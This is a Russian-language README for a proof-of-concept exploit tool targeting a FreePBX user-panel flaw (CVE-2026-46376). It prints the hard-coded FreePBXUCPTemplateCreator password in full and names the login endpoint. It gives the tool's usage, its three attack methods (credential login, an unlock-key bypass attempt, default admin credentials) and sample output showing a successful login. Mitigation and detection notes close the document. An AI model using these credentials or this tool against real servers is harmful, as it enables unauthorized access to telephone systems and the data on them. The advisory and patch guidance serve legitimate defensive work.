CVE-2026-46376 — FreePBX Неаутентифицированный доступ к UCP через жёстко закодированные учётные данные

Критическая уязвимость в модуле управления пользователями (userman) FreePBX позволяет неаутентифицированным злоумышленникам получить доступ к панели управления пользователями (UCP) с помощью жёстко закодированных учётных данных, которые встраиваются в процессе настройки универсального шаблона UCP.

CVSS v4.0: 9.1 (Критический) | CWE-798: Использование жёстко закодированных учётных данных

Раскрыто: 15 мая 2026 г. | Автор: s0nnyWT

Подробности

Когда администратор использует дополнительную функцию настройки универсального шаблона UCP (введена в 2021 году), создаётся системный пользователь FreePBXUCPTemplateCreator с жёстко закодированным статическим паролем. Если администратор не изменит этот пароль после настройки, любой неаутентифицированный пользователь в сети сможет войти в UCP с этими учётными данными.

Примечание: Пользователь FreePBXUCPTemplateCreator создаётся только в том случае, если администратор явно запускает настройку универсального шаблона UCP. Системы, где такая настройка не выполнялась, не подвержены эксплуатации через данный CVE, даже если на них установлена уязвимая версия.

Затронутые версии

Исправление рандомизирует пароль с помощью bin2hex(random_bytes(24)) во время установки/обновления; у существующих создателей шаблонов пароль перегенерируется при обновлении.

Использование PoC

pip3 install requests
python3 poc.py <target_url>

Опции

positional arguments:
  target              Целевой URL (например, http://192.168.1.100)

optional arguments:
  -h, --help          Показать это справочное сообщение и выйти
  --no-check          Пропустить предварительную проверку версии
  --timeout TIMEOUT   Время ожидания запроса в секундах (по умолчанию: 15)
  --method {creds,unlock,admin,all}
                      Какой метод эксплуатации выполнить (по умолчанию: all)
  -y, --yes           Автоматически продолжить, даже если версия вне диапазона

Методы

1. creds — Вход в UCP через POST /ucp/ajax.php с module=User&command=login, используя жёстко закодированные учётные данные
2. unlock — Попытка обхода ключа разблокировки через параметры запроса ?unlockkey=&templateid=
3. admin — Попытка стандартных учётных данных администратора на ACP

Пример

$ python3 poc.py http://192.168.1.100

============================================
  CVE-2026-46376 PoC - FreePBX UCP Access
  Target: http://192.168.1.100
============================================

[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible

============================================
  Exploitation
============================================

============================================
  Method 1: Hard-Coded UCP Credentials
============================================
    Username: FreePBXUCPTemplateCreator
    Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator

============================================
  Summary
============================================
Target is VULNERABLE

Обнаружение

Чтобы проверить, доступна ли система для эксплуатации, PoC отправляет запрос на вход через POST /ucp/ajax.php с module=User&command=login и учётными данными. Ответ {"status":true} указывает, что пользователь-создатель шаблона существует и пароль всё ещё задан по умолчанию.

Ответ {"status":false,"message":"Invalid Login Credentials"} означает одно из двух:

• Пользователь не существует (настройка шаблона никогда не выполнялась), или
• Пароль уже был изменён

Меры по смягчению

• Обновите модуль userman до версии 16.0.45 (FreePBX 16) или 17.0.7 (FreePBX 17)
• Проверьте и смените существующие учётные данные шаблона UCP — установка патча НЕ меняет задним числом уже развёрнутые пароли
• Ограничьте доступ к ACP/UCP доверенными сетями с помощью модуля брандмауэра FreePBX
• Включите MFA или SAML для дополнительных уровней аутентификации
• Проведите аудит активных сессий UCP на предмет несанкционированного входа

Отказ от ответственности

Данный PoC предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование этого эксплойта против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.

Ссылки

• GHSA-m55x-h47x-v3gx
• NVD - CVE-2026-46376
• Коммит userman FreePBX (введение функции)